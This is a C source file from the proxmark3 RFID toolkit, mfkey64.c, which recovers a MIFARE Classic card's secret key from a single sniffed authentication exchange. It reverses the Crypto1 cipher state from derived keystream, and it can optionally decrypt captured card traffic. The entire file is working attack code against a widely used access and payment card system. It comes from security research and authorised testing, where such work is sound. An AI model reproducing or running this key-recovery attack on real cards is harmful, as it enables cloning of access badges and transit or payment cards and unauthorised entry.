Merge pull request #234 from pwpiwi/nonce2key

[proxmark3-svn] / tools / mfkey / mfkey64.c

#include <inttypes.h>
#include "crapto1/crapto1.h"
#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[]) {
  struct Crypto1State *revstate;
  uint64_t key;     // recovered key
  uint32_t uid;     // serial number
  uint32_t nt;      // tag challenge
  uint32_t nr_enc;  // encrypted reader challenge
  uint32_t ar_enc;  // encrypted reader response
  uint32_t at_enc;  // encrypted tag response
  uint32_t ks2;     // keystream used to encrypt reader response
  uint32_t ks3;     // keystream used to encrypt tag response

  printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
  printf("Recover key from only one complete authentication!\n\n");

  if (argc < 6 ) {
    printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}> [enc] [enc...]\n\n", argv[0]);
    return 1;
  }

  int encc = argc - 6;
  int enclen[encc];
  uint8_t enc[encc][120]; 

  sscanf(argv[1], "%x", &uid);
  sscanf(argv[2], "%x", &nt);
  sscanf(argv[3], "%x", &nr_enc);
  sscanf(argv[4], "%x", &ar_enc);
  sscanf(argv[5], "%x", &at_enc);
  for (int i = 0; i < encc; i++) {
    enclen[i] = strlen(argv[i + 6]) / 2;
    for (int i2 = 0; i2 < enclen[i]; i2++) {
      sscanf(argv[i+6] + i2*2,"%2x", (unsigned int *)&enc[i][i2]);
    }
  }
  printf("Recovering key for:\n");

  printf("  uid: %08x\n", uid);
  printf("   nt: %08x\n", nt);
  printf(" {nr}: %08x\n", nr_enc);
  printf(" {ar}: %08x\n", ar_enc);
  printf(" {at}: %08x\n", at_enc);
  for (int i = 0; i < encc; i++) {
      printf("{enc%d}: ", i);
      for (int i2 = 0; i2 < enclen[i]; i2++) {
          printf("%02x", enc[i][i2]);
      }
      printf("\n");
  }


  /*  
  uint32_t uid                = 0x9c599b32;
  uint32_t tag_challenge      = 0x82a4166c;
  uint32_t nr_enc             = 0xa1e458ce;
  uint32_t reader_response    = 0x6eea41e0;
  uint32_t tag_response       = 0x5cadf439;
*/
  // Generate lfsr succesors of the tag challenge
  printf("\nLFSR succesors of the tag challenge:\n");
  printf("  nt': %08x\n",prng_successor(nt, 64));
  printf(" nt'': %08x\n",prng_successor(nt, 96));

  // Extract the keystream from the messages
  printf("\nKeystream used to generate {ar} and {at}:\n");
  ks2 = ar_enc ^ prng_successor(nt, 64);
  ks3 = at_enc ^ prng_successor(nt, 96);
  printf("  ks2: %08x\n",ks2);
  printf("  ks3: %08x\n",ks3);

  revstate = lfsr_recovery64(ks2, ks3);

  // Decrypting communication using keystream if presented
  if (argc > 6 ) {
  printf("\nDecrypted communication:\n");
  uint8_t ks4; 
  int rollb = 0;
  for (int i = 0; i < encc; i++) {
    printf("{dec%d}: ", i);
    for (int i2 = 0; i2 < enclen[i]; i2++) {  
      ks4 = crypto1_byte(revstate, 0, 0);
      printf("%02x", ks4 ^ enc[i][i2]);
      rollb += 1;
    }
    printf("\n");
  }
  for (int i = 0; i < rollb; i++) {
    lfsr_rollback_byte(revstate, 0, 0);
    }
  }
  
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, nr_enc, 1);
  lfsr_rollback_word(revstate, uid ^ nt, 0);
  crypto1_get_lfsr(revstate, &key);
  printf("\nFound Key: [%012" PRIx64"]\n\n",key);
  crypto1_destroy(revstate);

  return 0;
}